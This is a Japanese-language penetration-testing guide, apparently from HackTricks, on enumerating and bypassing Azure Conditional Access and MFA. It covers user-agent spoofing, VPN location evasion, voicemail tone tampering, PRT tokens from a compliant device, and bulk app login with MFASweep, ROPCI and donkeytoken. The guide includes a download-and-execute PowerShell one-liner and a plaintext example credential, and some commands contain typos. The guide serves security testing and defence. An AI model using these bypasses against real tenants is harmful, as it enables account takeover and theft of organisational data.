# Az - Conditional Access Policies & MFA Bypass

{{#include ../../../../banners/hacktricks-training.md}}

## 基本情報

Azure Conditional Access policies は、特定の**条件**に基づいて Azure サービスやアプリケーションへのアクセス制御を強制するために Microsoft Azure 上で設定されるルールです。これらのポリシーは、適切な状況で適切なアクセス制御を適用することで、組織がリソースを保護するのに役立ちます。  
Conditional access policies は基本的に **誰が** が **何を** に **どこから** そして **どのように** アクセスできるかを定義します。

以下はいくつかの例です:

1. **Sign-In Risk Policy**: このポリシーは、サインインのリスクが検出された場合に多要素認証（MFA）を要求するよう設定できます。例えば、ユーザーのログイン挙動が通常のパターンと比べて異常で、別の国からのログインなどがある場合、システムは追加の認証を求めることができます。
2. **Device Compliance Policy**: このポリシーは、組織のセキュリティ基準に準拠したデバイスからのみ Azure サービスへのアクセスを許可するよう制限できます。例えば、最新のウイルス対策ソフトがインストールされているデバイスや、特定のオペレーティングシステムのバージョンを実行しているデバイスからのみアクセスを許可するといった設定が可能です。

## 列挙
```bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
```
## 条件付きアクセス ポリシーのバイパス

条件付きアクセス ポリシーが、**簡単に改ざんできる情報をチェックしており、そのためにポリシーをバイパスされる可能性があります**。例えばポリシーがMFAを構成している場合、攻撃者はそれをバイパスできます。

条件付きアクセス ポリシーを構成する際は、影響を受ける**users（ユーザー）**と**target resources（対象リソース）**（like all cloud apps）を指定する必要があります。

また、ポリシーを**トリガー**する**conditions**も設定する必要があります：

- **Network**: IP、IPレンジ、地理的ロケーション
- VPNやProxyを使用して許可された国に接続したり、許可されたIPアドレスからログインすることでバイパスできます
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: Any device または Android、iOS、Windows phone、Windows、macOS、Linux を選択
- 「Any device」が選択されておらず他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなuser-agentを使用してバイパスすることが可能です
- **Client apps**: オプションは “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and “Other clients”
- 選択されていないオプションを使ってログインすればバイパスできます
- **Filter for devices**: 使用されているデバイスに関連するルールを生成することが可能です
- A**uthentication flows**: オプションは “Device code flow” と “Authentication transfer”
- これらのプロトコルを悪用して被害者のアカウントにフィッシングでアクセスしようとしない限り、攻撃者には影響しません

可能な**results**は：アクセスをブロックする、またはMFAを要求する、デバイスをコンプライアントにするなどの条件付きでアクセスを許可する、などです。

### Device Platforms - Device Condition

**device platform**（Android、iOS、Windows、macOS...）に基づく条件を設定することは可能ですが、これは**user-agent**に基づいているため簡単にバイパスできます。すべてのオプションで**MFAを強制**していても、**認識されないuser-agent**を使用すれば、MFAやブロックをバイパスできます：

<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>

ブラウザに**未知のuser-agentを送信させる**だけで（例えば `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`）、この条件をトリガーしません。\
開発者ツールでuser agentを**手動で**変更できます：

<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>

または [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) を使用してください。

### Locations: Countries, IP ranges - Device Condition

条件付きポリシーでこれが設定されている場合、攻撃者は**VPN**を使って**許可された国**から接続したり、**許可されたIPアドレス**からアクセスする方法を見つけてこれらの条件をバイパスできます。

### Cloud Apps

ユーザーが**特定のアプリ**にアクセスしようとしたときに、例えばMFAを**ブロックまたは強制する**ように条件付きアクセス ポリシーを構成することが可能です：

<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>

この保護をバイパスしようとする場合、任意のアプリにログインできるか確認してください。\
ツール[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)は**数十個のアプリケーションIDがハードコード**されており、それらに対してログインを試み、成功すればトークンを返してくれます。

特定のリソース内の**特定のアプリケーションIDをテストする**ために、次のようなツールを使用することもできます：
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>
```
さらに、ログイン方式（例：ブラウザやデスクトップアプリケーションからログインを試みる場合）を保護することも可能です。ツール [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) は、この保護を回避しようとするチェックも実行します。

ツール [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) も同様の目的で使用できますが、メンテナンスされていないように見えます。

ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこれらの保護をテストし、MFA やブロックを回避できるか確認するために使用できますが、このツールは **whitebox** の視点で動作します。最初にテナントで許可されているアプリの一覧をダウンロードする必要があり、その後それらに対してログインを試みます。

## その他の Az MFA バイパス

### リングトーン

One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.

> [!CAUTION]
> 文字は単なる **トーン** であるため、攻撃者は電話番号の **ボイスメール** メッセージを **改ざん** し、メッセージを **`#` のトーン** に設定することができます。次に、MFA を要求するときに被害者の電話が**通話中であること**（呼び出し中）を確認すると、Azure の着信がボイスメールに転送されます。

### 準拠デバイス

ポリシーはしばしば準拠デバイスまたは MFA を要求するため、**攻撃者は準拠デバイスを登録し**、**PRT** トークンを取得して、**この方法で MFA を回避する**ことができます。

まず **Intune に準拠デバイスを登録** し、次に **PRT を取得** します：
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>
```
この種の攻撃の詳細は、次のページをご覧ください：

{{#ref}}
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
{{#endref}}

## ツール

### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)

このスクリプトはユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかを確認します。

これは、いくつかのアプリケーションにログインする際に**MFAが要求されないかどうか**を確認するのに役立ちます。これらは後で悪用して**escalate privileges**する可能性があります。

### [roadrecon](https://github.com/dirkjanm/ROADtools)

すべてのポリシーを取得します。
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)

MFASweep は PowerShell script で、**指定された資格情報を使用して各種 Microsoft サービスにログインし、MFA が有効かどうかを識別しようとします**。conditional access policies and other multi-factor authentication settings の設定方法によっては、一部のプロトコルが単一要素のまま残ることがあります。また、ADFS configurations に対する追加チェックを備えており、検出された場合は on-prem ADFS server にログインを試行できます。
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)

このツールは、MFA のバイパスを特定し、その後複数の本番 AAD テナントで API を悪用するのに役立ちました。AAD の顧客は MFA が適用されていると考えていましたが、ROPC ベースの認証が成功しました。

> [!TIP]
> すべてのアプリケーションを列挙する権限が必要です。brute-force するアプリの一覧を生成できるようにするためです。
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)

Donkey tokenは、Conditional Access Policiesの検証や2FA対応のMicrosoftポータルのテストなどを行う必要があるセキュリティコンサルタントを支援することを目的とした関数群です。

<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>

**各ポータルをテスト**して、**MFAなしでログインできるか**確認する：
```bash
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
**Azure** **portal** が **not constrained** ため、前回の実行で検出された任意のサービスにアクセスするために、**gather a token from the portal endpoint to access any service detected** ことが可能です。この場合、Sharepoint が識別され、そのアクセス用の token が要求されます:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
token が Sites.Read.All (from Sharepoint) の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成した token を使ってファイルにアクセスすることが可能です:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## 参考文献

- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)

{{#include ../../../../banners/hacktricks-training.md}}
